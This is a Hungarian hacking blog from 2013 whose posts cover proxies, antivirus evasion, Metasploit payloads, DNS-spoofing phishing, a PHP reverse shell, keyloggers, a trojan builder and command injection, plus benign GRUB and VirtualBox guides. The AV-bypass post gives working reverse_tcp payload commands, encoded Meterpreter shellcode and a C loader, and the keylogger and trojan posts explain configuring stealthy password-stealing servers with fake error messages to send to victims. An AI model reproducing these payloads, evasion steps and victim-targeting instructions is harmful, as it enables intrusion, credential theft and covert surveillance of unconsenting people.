2013. augusztus 29., csütörtök

Anonimitás a neten - Proxy szerverek

A proxy szerverek amolyan "közvetítőként" vannak jelen az online kapcsolatokban. Ha hozzájuk kapcsolódsz akkor ők annyit csinálnak hogy a kapcsolatot továbbítják a másik szerver felé, így minden adat rajtuk keresztül megy át. Miért is jó ez nekünk? Azért mert ha visszakeresik hogy kik kapcsolódtak az oldalhoz akkor a proxy szerver Ip címe fog látszódni és nem a miénk. Akkor is hasznos lehet hogyha szűrik a tartalmat hogy mit lehet megnézni. Egyszerűen keresel egy Https proxy-t, beállítod és akkor hiába szűrik a tartalmat, te titkosított csatornán keresztül kommunikálsz, nem tudnak szűrni.
Több fajta proxy szerver létezik.
Transparent Proxy:
Ez a fajta szerver annyit csinál hogy figyeli a 80-as és a 443-as portot és az azon átmenő adatforgalmat elemzi, tárolja. Semmilyen beállítást nem igényel a böngészőben a felhasználó tudta nélkül is működhet a hálózaton. Nem rejti el az Ip címünket.
Anonymous Proxy:
Ez a fajta szerver anonimitást biztosít felhasználóinak, ha hozzájuk kapcsolódunk elrejtik az ip címünket. A kommunikáció egy bizonyos porton történik, amikor hozzájuk kapcsolódunk akkor meg kell adni a portot is.
Reverse Proxy:
Ez a fajta szerver eltér a többitől, ugyanis ez nem kliens oldalon van hanem szerver oldalon. A felhasználók ezt látják és ez irányítja a kéréseket az intranet felé.

Nézzük meg hogy hogyan tudjuk beállítani a proxy-n keresztüli csatlakozást a böngészőnkben.
@Firefox:
Eszközök -> Beállítások -> Speciális -> Hálózat -> Beállítások -> Kézi proxybeállítás.
@Chrome:
Beállítások -> Speciális beállítások megjelenítése -> (Hálózat) Proxybeállítások módosítása -> Hálózati proxy -> Kézi
Proxy listák:
http://best-proxy-list-ips.blogspot.hu/
http://hidemyass.com/proxy-list/
http://proxy-list.org/en/index.php
http://www.proxynova.com/proxy-server-list


Felmerülhet a kérdés hogy mit kezdjek én most ennyi proxy-val? Honnan tudom hogy melyik gyors, egyáltalán hogy melyik működik? Mindegyiket le kell egyesével tesztelnem? NEM! :) Mások szerencsére már elvégezték a nehéz munkát.
HyMyAss Proxy Grabber-t fogom használni. Ez annyit csinál hogy kigyűjti a megadott oldalról(hidemyass.com-on belül) a proxy-kat ip:portszám alakban. Innen le lehet tölteni:
http://db.tt/YYmc3A4d
Használata:
grabber.exe -t [fileneve].txt -p [az oldal száma ahhonan le akarjuk menteni a proxy-kat]
És egy ilyen fájlt generál:

Proxy teszteléshez pedig a Proxy Checker nevű programot fogom használni. Letölthető innen:
http://proxy--checker.sourceforge.net/
A fájlt amit legeneráltunk az előző programunkkal tallózzuk be neki. [Read from file], majd kattintsunk a [Test] gombra, és várjuk meg amíg leteszteli az össze címet. Ha kész van akkor el tudjuk menteni a jó proxykat egy txt-be a [Save to file] gombbal.

Vannak még a teszteléshez online eszközök is, ezek közül néhány:
http://www.checker.freeproxy.ru/
http://www.proxy-checker.org/
http://incloak.com/proxy-checker/

A proxy-k mellett van egy másik megoldás, a Tor használata. Ez azért jó mert nem kell a proxy beállításokkal babrálni, Mindenkinek aki csatlakozni akar a hálózathoz le kell tölteni egy kliens programot. Letölthető innen: https://www.torproject.org/
A használata pofon egyszerű. Le kell tölteni a programot, megnyitni és a Start Tor gombra kattintani. Egy kicsit tölt de utána kapunk egy böngésző ablakot ahol már anoniman tudunk tevékenykedni. :)

2013. augusztus 27., kedd

AV - Bypass

A mai cikkben az antivírus megkerülésének (angolul AV Bypass) lehetőségeit fogom bemutatni, gyakorlati példákkal. Ahhoz hogy el tudjuk kerülni az antivírust először nézzük meg hogy hogyan is működik. A vírusirtók többsége úgynevezett szignatúra adatbázisokkal dolgozik, amikor vírusirtót frissítünk akkor kapjuk meg ezekből a legfrissebbeket. Minden fájlnak van szignatúrája. Ez két dologból áll. Egy ún. mágikus számból(magic number) ami a fájl legelején van, és a fájlnak a típusát jelöli. Pl.: A GIF képek mindig a GIF87a-nak vagy a GIF98a-nak az ASCII megfelelőjével kezdődnek. (tehát 717370565597,  vagy 717370565797) A másik dolog egy ellenőrző szám(checksum). Ez a fájl legvégén van, vagy egy külön fájlban. Egy algoritmus alapján generálódik, és hibák detektálására, biztonsági okokból használják(Látszik ha megváltozik a fájl). Az antivírusok tartalmazzák a káros kódoknak a mintáját, és összehasonlítják a fájlnak a mintáját az adatbáziséival. A valós idejű védelem a másik "fegyverük". Ez heurisztikán alapul ami annyit jelent hogyha valamelyik alkalmazás "gyanúsan" viselkedik pl.: kapcsolódni akar valahova, módosítani akar egy programot stb. azt a vírusirtó érzékeli. Mint láthatjuk azért van védelem. :) Nézzük meg hogy hogyan tudjuk ezeket kijátszani, megkerülni. Az AV Bypass-nak alapvetően 3 fő területe van. 1.: Társítás, darabolás.(Binding, splitting). 2.: Scriptté alakítás. 3.: Kód összezavarás.
1.Társítás, darabolás:
Binderek: Ezek a kis programok megváltoztatják a fájlnak az első bájtjait. Ezt úgy csinálják hogy kettő vagy több fájlt eggyé alakítanak. Amikor elindítjuk a fájl-t akkor mind a két(vagy több) program elindul, az egyik láthatóan a másik a háttérben. Pl.: Van egy videó lejátszó programunk, hozzá "bindelünk" egy backdoor-t és elküldjük az áldozatnak. A vírusirtó nem fog jelezni mert ott van a fájlnak a digitális aláírása.(a videó lejátszónak) Nézzünk gyakorlati példát. Készítsünk egy payload-ot.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -exe > payload.exe
Keressünk valami "hasznos" fájlt. Én a "bindeléshez"a Hotfusion bindert fogom használni. Letölthető innen:
http://download.cnet.com/Hotfusion-File-Binder/3000-2094_4-10895406.html
A programot nagy egyszerű használni. Az [Add File]-al tudunk fájlokat hozzáadni, ha hozzáadtuk a fájlokat a [Fuse]-ra kell kattintani.
 Mint láthatjuk létrejött a harmadik fájl.
Feltöltöttem virustotal-ra és látható hogy ezzel az egyszerű technikával már 13 vírusirtót tudtunk megkerülni.
 Térjünk át a splitterekre. Ezek is hasonló módon működnek csak nem egyesítik a fájlokat hanem több darabra darabolják. Én a HJSplit programot fogom használni. Letölthető innen:
http://www.hjsplit.org/windows/
Ennek is nagyon  egyszerű a kezelése. Meg kell neki adni a programot amit darabolni akarunk, a kimeneti fájl helyét, és azt hogy mekkora fájlokra darabolja az eredeti fájlt. 
Láthatjuk hogy szépen szét is darabolta a fájlunkat 4 darabra.
2.Scriptté alakítás:
Ha átalakítjuk az fájlunkat scriptté kisebb az esélye hogy a vírusirtók megtalálják. Visual Basic scriptté fogjuk alakítani az .exe fájlunkat. Azért VB mert ezt alapból tudja futtatni a Windows, nem kell hozzá külön fordító. Az exe2vbs megcsinálja helyettünk. Innen le tudjuk tölteni:
A baj ezzel hogy csak nagyon kis fájlokat tudunk vele konvertálni. De mint láthatjuk megéri, mert elég jó eredményt kaptunk.


Itt van egy másik megoldás, ez egy metasploit script, ezt nem teszteltem le:
https://github.com/lattera/metasploit/blob/master/tools/exe2vbs.rb

3.Kód összezavarás:
Ez a legkifinomultabb technika. Annyiból áll hogy mint ahogy a nevében is benne van össze fogjuk zavarni a kódot. Titkosítjuk, stb. Ehhez is vannak nagyon jó kis programok. Ezekből fogok most bemutatni néhányat, utána pedig megnézzük hogy hogy lehet "kézzel" titkosítani a kódot! :)
AVoid:
Letölthető innen: https://github.com/nccgroup/metasploitavevasion
Ez a kis script az msfencode-ot használja egy két finomítással. A használatához telepíteni kell a mingw32 fordítót. Ha nincs feltelepítve az alábbi paranccsal tudjuk telepíteni:
apt-get install mingw32
A használatára külön nem térnék ki mert nagyon egyszerű. És mint láthatjuk a detektálási arány is elég jó: (a http://vscan.novirusthanks.org oldalt használtam mert ez nem teszi közzé a sample-t)
http://vscan.novirusthanks.org/analysis/bd296119392b0c4b17dd17f2be5aa67d/c2FsYXJpZXMtZXhl/
Itt még meg kell említenem az ún. Cryptereket. Ezeknek két fajtája van UD(undetectable) és FUD(fully undetectable). Én az Aegis Cryptert fogom használni. Letölthető innen: http://www.aegiscrypter.com/
Ez egyébként binder-t is tartalmaz, meg még sok egyéb kis extrát... :)
Sajnos a publikus verzióval nem lehet elérni FUD-ot. De azért ez sem olyan rossz eredmény:
Na és most nézzük hogy hogy lehet "kézzel" készíteni egy 0/46-os payloadot.

FUD Payload 0.1:
A metasploit beépített titkosító alkalmazását fogjuk használni, az msfencode-ot. 
root@kali:# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.11 R | msfencode -t exe -o listener.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

Látszik hogy ez elég gyenge, 35/45:

Hol lehet a baj? Titkosítottuk a fájlunkat, mégis ilyen rossz eredményt kaptunk! Az az ok hogy a vírusirtók ismerik az msfencode által gyártott fájlok szignatúráját.
Ezt mi sem bizonyítja jobban mint az alábbi kis kísérlet. Titkosítsunk msfencode-al egy sima fájlt!
root@kali:# echo simafile | msfencode -e generic/none -t exe > plain.exe [*] generic/none succeeded with size 9 (iteration=1)
Láthatjuk hogy semmilyen káros kód nincs a fájlban mégis ilyen eredményt kaptunk.
FUD Payload 0.2:
Most egy egyszerű kis C program segítségével összezavarjuk a fájlunkat. Először is generáljuk le a véletlen karaktereket:
root@kali:# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c1028
Ezután készítsük el a Meterpreter kódunkat:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t c -a x86 -b '\x00\x0a\x0d' -c 5
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
unsigned char buf[] =
"\xbd\x72\xa8\xa9\x1b\xdb\xd0\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x64\x31\x6e\x14\x03\x6e\x14\x83\xc6\x04\x90\x5d\x72\xc1\x8d"
"\xea\xa1\x02\x97\xa0\xe7\x9b\x46\x9d\xdc\x92\x39\x7f\xa0\xce"
"\xc5\xb1\xf5\x06\x36\xe1\xef\xc4\x7e\x91\x84\x71\xa2\x9a\x07"
"\x41\x29\xa4\x63\x76\x18\x3e\x18\xfd\x1c\x64\x02\xfa\x23\xd9"
"\x48\x7d\x61\x2e\xc6\x0e\x41\x2c\x1c\x72\xb9\xe9\xbd\x18\x5d"
"\x20\x70\xbb\xa6\xda\x03\x7d\x57\xa9\x52\xd4\xd5\x6d\xe1\xd2"
"\x17\x67\xa3\xf0\x3d\x56\xd7\x61\xe5\x92\x87\xf8\x9a\xe5\x0e"
"\x99\x40\x74\xc2\x8e\x3d\x6a\x06\xc9\x8f\xdf\x41\xc0\xb1\xd5"
"\x46\xbd\xf6\xa8\xb3\x34\x1d\x60\xe3\x18\x87\xc4\xf4\xff\x3f"
"\x64\xff\xa4\xb5\xe0\x05\x2b\xa2\x2a\x91\x48\x9a\x16\x16\xec"
"\xf3\x4c\x36\x37\x36\xfc\xfa\xdd\xb3\x5c\xc8\x9e\xb8\xe9\xa6"
"\x2f\xb3\x18\x32\x3c\xde\x23\xfa\x86\x86\xfa\xa8\x29\xd7\x69"
"\xe6\x60\xac\x81\xf4\xb4\x6a\x4c\xff\x1b\x46\x04\xbd\xab\x3a"
"\xb3\x86\x29\xe5\x7c\xd9\xc5\x1e\xed\xa9\xeb\x80\xf9\x67\x27"
"\x2f\x09\xaa\x43\x33\xf0\x58\x5b\x8c\x3a\xce\x37\x37\x67\xbe"
"\x84\x24\xd8\x96\x9e\x90\x8f\xa5\x03\x26\xb5\x77\x0c\x22\x7e"
"\x7e\x34\xbc\xef\xc9\x90\x2e\xc0\x40\x8f\x45\x1a\x05\x61\xda"
"\x17\x86\x12\x0c\x63\x6a\x5b\xbe\xe1\xf0\xaf\xad\x54\x7b\xf5"
"\x0b\x8b\x82\xba\xd7\xf1\xb0\xe2\xf9\x6a\x7a\x4b\x12\xd9\xa4"
"\x82\x2c\xf7\xea\xad\x68\x38\xd6\x54\x5b\x10\xa9\xec\x30\xce"
"\xc4\xc6\x24\xd0\xb0\x97\x62\x16\x48\x08\x37\x41\xe9\xe0\xb0"
"\x51\x2a\xef\x5a\xaf\x55\xf1\x64\x94\xcf\x95\xe2\xcb\x3e\x29"
"\x07\x49\xf7\x26\xcc\xfc\x8d\xcd\x95\xa6\xec\x1f\xbd\x9c\x8d"
"\xed\xab\x8b\x9f\xb3\xf7\x3b\x6f\xa9\x01\x82\x91\x62\x2d\x60"
"\xda\x05\xcd\xad\x52\x49\x02\x30\x07\xfa\xb8\x07\x1b\x81\x70"
"\x70\x64\x79\x74\x17\x7e\x7d\x67\x10\xc3\xbd\xe8\x76\x76\xbd"
"\x36\x10\xc8\xce\xb8\x94\x89\xb7\x22\x0f\x3e\x74\x36\x03\x9e"
"\x8a\xd4\xd8\xa5\xb1";
Ezután rakjuk be az egészet a mi kis egyszerű C programunkba, és mentsük el, fordítsuk le, és kész is vagyunk. :)
// Ide jönnek a random karakterek
unsigned char padding[]=
;
// A Meterpreter kód ide
unsigned char payload[]=
;
// Betöltjük a Meterpretert a memóriába
int main(void) { ((void (*)())payload)();}

Én egész jó eredményt kaptam: :)
http://vscan.novirusthanks.org/analysis/91817146cba8208c16a2b9c48f2b4064/YmFzZS1leGU=/
Nagyon sok eszközt teszteltem, de kb. hasonló eredményeket kaptam mint az AVoid-nál.
Böngészésére ajánlom még az alábbi linkeket:
Marosi Attila előadása a 2013 Ethical Hacking Konferencián(Ez az előadás ihlette a cikket):
https://www.youtube.com/watch?v=xv7kBwEVym0&list=PL2JHKW_jNuVso0feHjm92N0jl8eDE4Iru&index=4

Veil:(Ez egy nagyon jó kis eszköz, az egyetlen ok amiért nem raktam bele a cikkbe mert nem tudtam működésre bírni sem a py2exe-t, sem a pyinstaller-t a linuxomon... :( de érdemes megnézni!)
https://github.com/ChrisTruncer/Veil
UPDATE! Azóta sikerült működésre bírnom, és cikk is született róla. :)

Crypter.py:
http://www.securitytube.net/video/4223
http://www.mediafire.com/?55q2zisjxif3ez4

Metasm AV Bypass:
http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/

XOR encrypt:
http://www.securitytube.net/video/2863
A videó fájlai: http://pastebin.com/eyLPeXN3

AV Sandbox Evasion:
http://funoverip.net/2012/07/antivirus-sandbox-evasion-part3/

Bypassing Symantec Endpoint Protection:
http://sector876.blogspot.hu/2013/03/av-bypass-symantec-endpoint-protection.html
http://pastebin.com/axAE0XEe

Shellcodeexec:
http://bernardodamele.blogspot.hu/2011/04/execute-metasploit-payloads-bypassing.html
https://github.com/inquisb/shellcodeexec

2013. augusztus 25., vasárnap

A Grub helyreállítása

A napokban nekem is sikerült elrontanom a grub-omat, de szerencsére megcsinálni is. Ezt szeretném most veletek megosztani. Nézzük is az alap szituációt: Volt egy Kali Linuxom felrakva, meg egy Win7 dual boot-ban. Tudjátok milyen a Win7 bizonyos időközönként újra kell rakni... Na nálam ez épp most volt. Újra is raktam szépen ahogy a nagy könyvben meg van írva, de felülírta az MBR-t (Master Boot Record) ahol eddig a Grub-om csücsült. Erre nem is gondoltam... Gyorsan mentem fel a netre hogy mit lehet ilyenkor csinálni. Találtam is pár megoldást, de egy se működött nekem. (Az alapja mindegyiknek az volt hogy boot-olj be a ubuntu live cd-ről és onnan helyre tudod állítani.... Nekem ez így nem ment. :/) Végső elkeseredésemben már úgy voltam hogy inkább újrarakom a Kali-t, üsse kő. De aztán ráleltem erre az oldalra: http://www.supergrubdisk.org/ Erről annyit kell tudni hogy ez is olyan mint egy live-cd. Lényegében egy live-grub, ahonnan be tudsz boot-olni a linuxodra és onnan helyre tudod állítani a grub-odat. Na nézzük hogy én hogy csináltam.
1. Kiírtam a Super Grub2 Disk-et egy pendrive-ra.(win32 disk imager-rel)
2. Bebootoltam róla, és a [Detect any Operating System] menüpontot választottam.
3. Kiválasztottam a Kali Linuxomat, szépen be is boot-olt.
4. Nyitottam egy Terminált, és beírtam grub-install /dev/sda szépen fel is telepítette.
5. A következő probléma az volt hogy most meg a windows-t nem látta. De ezt a következő parancsokkal meg lehetett oldani:
os-prober
update-grub

És mostmár újra szépen megy minden. :) Remélem hogyha ilyen bajotok van akkor nektek is sikerül!


2013. augusztus 23., péntek

Metasploit payload No-IP-vel

A mai cikkben azt fogjuk megnézni hogy hogy lehet elkészíteni egy olyan payload-ot ami no-ip keresztül fog visszacsatlakozni hozzánk. Mi is ez a no-ip?
Ez egy dinamikus dns szolgáltató ami már 1999 óta működik. A lényege az hogy a modemünk mindig új ip címet kap, ezért pl. ha egy web-szervert akarunk futtatni otthon akkor mindig változtatgatni kéne az elértést, mert az ip is változik. A No-ip segítségével viszont regisztrálunk magunknak egy domain-t amit mindig a mi ip címünkhoz rendel egy kliens szoftver segítségével, amit le kell tölteni. Ez azért lesz jó nekünk mert ha elkészítjük a payloadunkat akkor annak is meg tudjuk adni a no-ip címünket, és mindig a legfrisebb ipnkez fog visszacsatolni... Nézzük a lépéseket:
1.Regisztrálunk a noip.com-ra.
 2.Beállítjuk a domain címünket, az ip-címünk automatikusan hozzárendelődik.
 3.Letöltjük a klienst. (http://www.noip.com/downloads.php?page=linux)
 4.Kicsomagoljuk a .tar fájlt. tar xzf [filenev].tar.gz
 5.Feltelepítjük a kliens-t a make install paranccsal, és beállítjuk a fiókunkat.
 6.Elkészítjük a payloadunkat.
7.Engedélyezzük a 4444 portot a routerünkben.

8.Beállíttjuk a "handlert" ami a payload kapcsolódását várja.
Ha valaki megnyitja a payloadunkat akkor kapunk egy meterpreter shellt. :)
Ennyi lenne...

2013. augusztus 19., hétfő

Hackelés firefox kiegészítővel -1-

Ebben a cikkben egy elég új támadással fogunk foglalkozni. Én ennek a megvalósítását fogom reprezentálni. Szóval az alap koncepció az lenne hogy van egy olyan oldal amit ha megnyit az áldozat, akkor ahhoz hogy a tartalmat meg tudja tekinteni fel kell telepítenie egy böngésző kiegészítőt. Ez a kiegészítő utána biztosít nekünk egy meterpreter shellt. Itt is van a bemutató videó:


Kali linux alatt Virtualbox telepítés

Most azt fogom reprezentálni hogy hogyan lehet felrakni Kali alatt a Virtualboxot. Aki nem tudná ez egy virtualizációs eszköz, magyarul tudsz Linux alatt is Windows-t futtani meg Windows alatt is Linuxot...
Először is töltsük le a .deb csomagot a virtualbox oldaláról:
http://download.virtualbox.org/virtualbox/4.2.16/virtualbox-4.2_4.2.16-86992~Debian~wheezy_i386.deb
Lépjünk át rendszergazda módba! (su)

Telepítsünk fel először egy könyvárat:

apt-get install libqt4-openg

Ezután még egyet, enélkül nem menne:

apt-get install dkms

Ezután telepítsük a csomagot az alábbi parancsal:

dpkg -i virtualbox-4.2_4.2.16-86992~Debian~wheezy_i386.deb

Ez most olyan egyszerűnek tűnik de én sokat kínlódtam vele... Remélem nektek már nem kell. :)

2013. augusztus 18., vasárnap

DNS Spoofing

Mi is ez a DNS Spoofing? Sőt mi az a DNS? Nem megyek bele annyira a témába mert nagyon nagy a téma. Akit nagyon érdekel az itt utána olvashat:
https://hu.wikipedia.org/wiki/Domain_Name_System
Annyit azért megemlítek hogy: DNS - Domain Name System, lényegében az internet telefonkönyve. A fő feladata hogy a   tartománynevekhez (domainekhez) hozzárendje a számítógépeket/szervereket. Például a www.example.com nevű domainhoz a 192.0.32.10 IP tartozik(IPv4). Amit még jó hogyha tudunk hogy a DNS szerverek az 53 porton futnak. (UDP, TCP) Térjünk át a DNS Spoofing-ra. Vegyük sorra hogy mit fogunk csinálni a támadás során.

1.Létrehozunk egy phising oldalt a saját szerverünkön.
2.Lecseréljük a kiszemelt tartománynévhez tartozó címet a saját szerverünk címére.
3.Várunk hogy az áldozat megnyissa a tartománynevet.(pl.:facebook.com)
4.Ha megnyitja akkor a mi phising oldalunkat fogja látni.

Készítettem egy videót amiben ezeken a lépéseken mentem végig sorban:

Reverse PHP Shell használata

Üdv nektek!
Most a Reverse PHP Shell használatát fogom leírni. Szóval mire is jó ez?
Tegyük fel hogy találtál egy olyan oldalt ahol van egy fájlfeltöltési hiba... Ilyen esetekben nagyon hasznosak tudnak lenni ezek a shellek, ugyanis egyből szinte admin jogokkal tudunk tevékenykedni a szerveren a feltöltésük után.
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
Innen le lehet tölteni egyet.
Most kezdhetjük konfigurálni, hogy a mi gépünkhöz nyisson vissza. Nyisd meg notepaddal vagy valami szövegszerkesztővel és a(z) $ip='' részhez az idézőjelbe ird be az ip címed a $port részhez írd be a portot,hogy milyen porton nyisson vissza. :)
Aztán ha kész a konfigurálás akkor mentsd el, és most már csak annyit kell csinálni,hogy feljuttatod az oldalra és lefuttatod. :)
Még mielőtt lefuttatnád netcat-el kezdj el hallgatózni azon a porton amit megadtál. nc -lvp port
pl: nc -lvp 1234
Aztán futtasd le a a shellt a szerveren és már bent is vagy mert kaptál egy command shell-t a célpont gépen. Ha ezt a jelentést kapod: /bin/sh: can't access tty; job control turned off akkor írd be,hogy bash és már lehet is szórakozni.. :)
Videó:

2013. augusztus 17., szombat

HoneyPot

Most a honeypotokról fogok írni. Mire is jó ez?
A honeypotokat általában infó gyűjtésre használjuk, mondjuk gyors ip cím szerzésre stb. Vagy mondjuk nem tudjuk az ip-t, nem tudjuk milyen OS fut a gépen stb. ezt ki lehet deríteni elég könnyen. Komoly honeypot programok,elég könnyen meg tudják mondani azt is,hogy honnan nézték meg és még a host nevet is lekérni és így tovább. Amit most fogok mutatni nem annyira komoly honeypot, de célnak megfelel ezzel is lehet ip címet szerezni meg minden....
Most a PentBox nevű programot fogjuk használni amiben vannak hasznos kis dolgok. :)
PentBox.org de a sourceforge.net-en is megtalálod van windowsra is meg linuxra is de tudjátok,hogy én inkább linux párti vagyok. :D
Indítsd el a progit és ird be egy kettest(Network tools) aztán egy hármast(Honeypot) aztán egy kettest(Manual Configuration [Advanced Users, more options]),hogy te akarod konfigurálni és írj be egy portot mondjuk a 80-as jó lesz mert ha valaki megnézi akkor egyből jön a infó. :)
De nekem a 80-as porton fut egy xampp úgy, hogy én mást fogok beállítani. Ezután állítsd be azt, hogy milyen üzenet jelenjen meg annak aki megnézi az oldalt. Ne használj ékezetes karaktereket mert nem tudja kiírni.
Ezután megkérdi,hogy mentse-e egy logba azt amit talál, nekem most nincs szükségem erre úgyhogy én n-t irok. Ha ez megvan akkor megkérdezi, hogy aktiválod-e a beep hangot vagyis ha megnézi valaki az oldalt akkor sípol egyet a gép. Nekem most ez sem kell. Kész is vagyunk mostmár aktív a honeypot, próbáljuk ki! :) Ha más portot állítottál be mint 80 akkor igy kell megnézni.. pl: nemtom:50 (a nemtom csak példa (nooboknak)) :D
ha 443-as porton fut akkor https://nemtom/
Ennyi lenne remélem érthető volt kösz,hogy elolvastad. :)
Itt egy videó a honeypotokról, én csináltam:

2013. augusztus 12., hétfő

Keyloggers - Billentyűzetfigyelők

A mostani cikkben a billentyűzetfigyelőkről (keyloggers), kémprogramokról lesz szó. Az interneten számos programot lelhetünk fel ebben a kategóriában. Ezek közül szeretnék kiemelni párat a jobbak közül. Két alapvető billentyűzetfigyelő típust ismerünk: hardvereset, és szoftvereset. A hardveres keyloggert a billentyűzet és a számítógép közé kell csatlakoztatni.
Lehet kapni PS/2-es, és USB-s csatlakozósokat is. Az ár attól függ hogy milyen nagy a belső memóriájuk. Az adatokat már emailben is képesek elküldeni. A régebbi típusok még úgy működtek hogy beléptél mondjuk a szövegszerkesztőbe és beírtál egy kódot, és akkor ugrott fel az "admin panel". A kódot az első használat során kellett megadni... Akit jobban érdekel a téma, esetleg vásorolni szeretne, az ezen a linkeken nézzen körül:
http://www.keelog.com/
http://www.vatera.hu/listings/index.php?q=keylogger&c=0

Térjünk át a szoftveres billentyűzetfigyelő alkalmazásokra. Ezek amellett hogy figyelik a billentyűzetleütéseket képesek megadott időközönként képernyőképet készíteni, a nyomtatott dokumentumokat is elmentik, a mentett adatokat emailben elküldik, esetleg ftp-n keresztül feltöltik valahova, egyszóval többet tudnak mint a hardveres társaik. A legtöbb ilyen program rejtett üzemmódban is tud futni, tehát a start menüben, vagy a tálcán nem láthatjuk őket(Nem rootkit módban futnak, a Program Files-ban lehet őket látni).
Én most inkább az érdekesebb programokkal foglalkoznék. Az ilyen next-next-next típusú könnyen feltehető programokhoz sztem nincs értelme tutorialt csinálni. Itt van pár link aki nem ismerne egyet sem:
http://www.refog.hu/ http://www.ardamax.com/keylogger/ http://elite-keylogger.keyloggers.com/review.html
Én most a Dracula Logger-t fogom bemutatni. A futtatáshoz a legfrisebb .NET Framework-ot kell letölteni. Ez már egy kicsit összetettebb program. Hasonlóan működik egy trójaihoz. Csinálsz egy szervert, azt elküldöd az áldozatnak, vagy lefuttatod a gépén és nem kell semmit telepíteni automatikusan elrejti  magát, és küldi a logokat a készítéskor megadott címre. Innen tudod letölteni:
http://www.mediafire.com/download/wosdcvjc9e289l9/Dracula+Logger.rar
(Jelszó:!dracula!)
Ha  megnyitjuk a "Builder"-t akkor ezt a képet kapjuk, ahol rögtön meg is tudjuk adni az email címünket, az email jelszavát, az SMTP szerver-t, azt hogy milyen titkosítást használjon. Ha beállítottuk az emailt érdemes küldeni egy teszt email-t a programmal. Állítsuk át mert automatikusan 15-öt akar küldeni, nekünk elég lesz egy is. Utána katt. Test Email, és nézzük meg a fiókunkat hogy valóban megkaptuk e. 
 A következő oldalon be tudjuk adni hogy milyen alkalmazásokból lopjon jelszavakat, és azt hogy miket tiltson le. Nekem most elég volt hogy a Feladatkezelőt letiltsa.
 A következő oldalon még be tudunk néhány dolgot állítani, ami fontos [Add to Startup] ezzel hozzáadjuk az automatikusan induló programokhoz, én még bejelöltem hogy [PC Info] így fogok kapni a gépről is egy kis infót, milyen oprendszert használ, felhasználó név stb.
 A következő oldalon az első futáskor tudunk egy hibaüzenetet generálni mintha nem futott volna le rendesen az alkalmazásunk, pedig lefut... ;)
 A következő oldalon be tudjuk állítani hogy keverje össze a kódot, így nehezebben fogják felismerni a vírusírtók, utána meg kell adni a program nevét, be tudunk még állítani icon-t is hozzá, és hozzá tudjuk "bindelni" egy másik programhoz, így azzal a programmal együtt ez is le fog futni...
 Ha minden jól ment akkor ezt fogjuk kapni... Utána már csak el kell küldeni az áldozatnak a progit, és rávenni hogy lefuttassa... :)
Ha lefuttatta az áldozat a programot, utána folyamatosan fogjuk kapni a logokat az email címre amit megadtunk.


2013. augusztus 11., vasárnap

Trójai Programok

Először is tisztázzuk hogy mi is az trójai!
Sokan tévesztik össze a féreggel, de a féreg csak pusztít(a fő célja hogy minél több gépet megfertőzzön) és azt hiszik, hogy a trójai is. Viszont a trójai sokkal hasznosabb, mert tudjuk irányítani a fertőzött gépet vele. A féreg is hasznos de csak azok számára akik rombolni akarnak... :D
Na akkor el is lehet kezdeni. A programnak amit most mutatni fogok a neve: The Beast Trojan. Innen lehet letölteni:
https://sites.google.com/site/trojandownloads/beast-2-07
Indítsd el, és kattints a Build Server gombra ezzel lehet csinálni 1 trójai szervert amin keresztül az áldozat gépét fogjuk irányítani.
Ezután előjön egy ablak ahol konfigurálhatjuk a szerverünket. Először is be kell állítani egy jelszót. Erre azért van szükség hogy ne tudjon akárki csatlakozni a szerverre csak mi. Aztán a portot, amin keresztül fog kommunikálni a szerver az áldozat géppel. Be lehet még állítani hogy injectálja magát egy másik processbe. (Úgy fog tűnni mintha az explorer.exe futna a Feladatkezelőben)
Valahogy így állítsátok be,hogy ne legyen feltűnő,aztán kattints a Notifications gombra és ott kell megadni az ip címedet,hogy kapcsolatot tudjon csinálni a két gép között ha remote hoston akarod futtatni akkor használd a wan ip-det. :)
Ezután kattints a Startup gombra és ha át akarod írni,hogy hogyan hozza létre magát a registrybe akkor itt megteheted.. :)
Ezután kattints a(z) Av-FW Kill-re. Ez nem csinál sok mindent csak kinyírja az antivírust meg a tűzfalat.
Ha akarod akkor jelöld be. Utána kattints a Misc gombra és ott beállíthatod,hogy engedélyezze e a keyloggolást vagyis, hogy rögzítse a lenyomott billentyűket(vagy ne). A Fake Error Message azért jó mert amikor elindítja a programot akkor kell valami ok hogy ő miért nem kap semmilyen interakciót. Ezt így lehet beállítani: Katt a Configure gombra a fake error message alatt és állítsd be,hogy milyen hibát dobjon fel mikor elindul a trójai szerver.
A test gombbal lehet tesztelni a jelentést, aztán kattints az Exe iconra és válassz egy ikont ha nem tetszenek az ikonok akkor tallóz be egyet a Choose Icon gombbal  és kattints a Save Server gombra. Oda fogja tenni a szervert ahol a beast van.

Ha ez megvan meg kell szerezni az áldozat ip címét és ha megvan és elindította fel lehet rá csatlakozniés akkor elég sok mindent lehet például keyloggert atkiválni cd-romot nyitogatni stb :)
Itt egy általam készített videó tutorial:

2013. augusztus 10., szombat

A Command Execution támadás

Ez az a fajta támadás amikor az adott sérülékeny gépen/szerveren megpróbálunk parancsokat futtatni. Például egy kereső mezőn keresztül... A DVWA-t fogom megint használni. :) Nem írom le hogy mire van kitalálva mert már írtam róla. (én is meg zerocool is) :)
Kezdjük is el. Van egy funkció benne ami pont erre való, próbáljuk ki..
Van itt egy mező ez egy pinger. Írd be a célpont url-t vagy ip címet és csempésszünk bele a kódot. :)
Például: google.hu ; ls
És ki listázza mik vannak abban a mappában ahol a ping fut. :)
